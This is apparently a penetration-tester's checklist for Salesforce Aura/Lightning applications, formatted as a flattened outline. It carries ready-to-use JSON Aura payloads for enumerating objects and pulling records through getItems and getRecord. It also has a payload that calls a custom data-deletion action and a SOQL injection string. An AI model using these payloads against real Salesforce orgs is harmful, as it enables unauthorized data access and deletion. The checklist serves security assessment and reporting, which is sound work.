- Gather Tools
- Burp Suite or OWASP ZAP
- HTTP Request/Response Interceptor
- Set Up Environment
- Configure Burp/ZAP with browser
- Ensure target Salesforce application is accessible
Pre-Check
- Identify Salesforce Technologies
- Browse application via Burp/ZAP and check HTTP History for paths:
/s/sfsites/aura/aura/sfsites/aura
- In Repeater, make a POST request to the paths and check for response patterns:
"actions":[aura:clientOutOfSyncaura:invalidSession
- Browse application via Burp/ZAP and check HTTP History for paths:
-
Identify Standard Objects
- Retrieve list of standard objects from Salesforce documentation
- Standard Objects | SOAP API Developer Guide | Salesforce Developers
- Save to
objects.txt
-
Identify Custom Objects
- Look for objects ending in
__c - Use
getObjectInfoandgetHostConfigactions - Add to
objects.txt
- Look for objects ending in
-
Identify Standard Controllers and Actions
- Inspect
app.jsandaura_prod.jsfiles - Grep for
componentService.initControllerDefs([{pattern - Save identified controllers and actions
- Inspect
-
Identify Custom Controllers and Actions
- Inspect JS files and HTTP requests
- Look for custom controllers starting with
apex://
STANDARD CONTROLLER: aura://RecordUiController/ACTION$getObjectInfo CUSTOM CONTROLLER: apex://New_Sales_Controller/ACTION$getSalesData
- Save identified controllers and actions
- Set Up Fuzzing in Burp/ZAP
- Send POST request with Aura endpoint to Repeater
- Replace
messageparameter with different options - Use Intruder to fuzz with
objects.txt
- Fuzzing Actions
getObjectInfo- Payload:
{"actions":[{"id":"1;a","descriptor":"aura://RecordUiController/ACTION$getObjectInfo","params":{"objectApiName":"***"}}]}
- Payload:
getConfigData- Payload:
{"actions":[{"id":"1;a","descriptor":"aura://HostConfigController/ACTION$getConfigData","params":{}}]}
- Payload:
getListsByObjectName- Payload:
{"actions":[{"id":"1;a","descriptor":"aura://ListUiController/ACTION$getListsByObjectName","params":{"objectApiName":"***"}}]}
- Payload:
- Check for Org-Wide Sharing Misconfigurations
- Use
getItemsaction to retrieve records- Payload:
{"actions":[{"id":"123;a","descriptor":"serviceComponent://ui.force.components.controllers.lists.selectableListDataProvider.SelectableListDataProviderController/ACTION$getItems","params":{"entityNameOrId":"***","layoutType":"FULL","pageSize":100,"currentPage":0}}]}
- Payload:
- Use
getRecordaction to retrieve specific records- Payload:
{"actions":[{"id":"123;a","descriptor":"serviceComponent://ui.force.components.controllers.detail.DetailController/ACTION$getRecord","params":{"recordId":"***"}}]}
- Payload:
- Use
- Check for Custom Controller Misconfigurations
- Identify custom actions like
getSalesDataanddeleteSalesDataById- Payload for retrieving data:
{"actions":[{"id":"1;a","descriptor":"apex://New_Sales_Controller/ACTION$getSalesData","params":{}}]} - Payload for deleting data:
{"actions":[{"id":"1;a","descriptor":"apex://New_Sales_Controller/ACTION$deleteSalesDataById","params":{"id":"***"}}]}
- Payload for retrieving data:
- Identify custom actions like
- Identify Potential Injection Points
- Inspect HTTP requests for SOQL queries
- Craft Injection Payloads
- User input:
name=test%') OR (Name LIKE ' - Expected vulnerable query:
SELECT Id FROM Contact WHERE (IsDeleted = false AND Name LIKE '%test%') OR (Name LIKE '%')
- User input:
- Document Findings
- Note each identified object, controller, and action
- Record fuzzing results and any sensitive data retrieved
- Detail any successful SOQL injections and their impact
- Create a Comprehensive Report
- Executive summary of findings
- Detailed methodology and steps taken
- Screenshots and evidence of vulnerabilities
- Recommendations for remediation